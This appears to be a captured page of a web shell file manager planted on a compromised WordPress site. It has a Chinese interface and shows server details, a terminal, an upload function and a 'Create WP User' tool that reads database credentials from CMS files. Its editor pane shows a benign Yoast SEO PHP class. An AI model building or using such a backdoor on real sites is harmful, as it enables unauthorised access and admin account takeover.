Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
dashboard
/
application
/
taxonomies
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
taxonomies-repository.php
1.96 KB
-rw-r--r--
2026-05-07 09:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
taxonomies-repository.php
<?php // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong namespace Yoast\WP\SEO\Dashboard\Application\Taxonomies; use Yoast\WP\SEO\Dashboard\Application\Filter_Pairs\Filter_Pairs_Repository; use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy; use Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector; /** * The repository to get taxonomies. */ class Taxonomies_Repository { /** * The taxonomies collector. * * @var Taxonomies_Collector */ private $taxonomies_collector; /** * The filter pairs repository. * * @var Filter_Pairs_Repository */ private $filter_pairs_repository; /** * The constructor. * * @param Taxonomies_Collector $taxonomies_collector The taxonomies collector. * @param Filter_Pairs_Repository $filter_pairs_repository The filter pairs repository. */ public function __construct( Taxonomies_Collector $taxonomies_collector, Filter_Pairs_Repository $filter_pairs_repository ) { $this->taxonomies_collector = $taxonomies_collector; $this->filter_pairs_repository = $filter_pairs_repository; } /** * Returns the object of the filtering taxonomy of a content type. * * @param string $content_type The content type that the taxonomy filters. * * @return Taxonomy|null The filtering taxonomy of the content type. */ public function get_content_type_taxonomy( string $content_type ) { // First we check if there's a filter that overrides the filtering taxonomy for this content type. $taxonomy = $this->taxonomies_collector->get_custom_filtering_taxonomy( $content_type ); if ( $taxonomy ) { return $taxonomy; } // Then we check if there is a filter explicitly made for this content type. $taxonomy = $this->filter_pairs_repository->get_taxonomy( $content_type ); if ( $taxonomy ) { return $taxonomy; } // If everything else returned empty, we can always try the fallback taxonomy. return $this->taxonomies_collector->get_fallback_taxonomy( $content_type ); } }
关闭
保存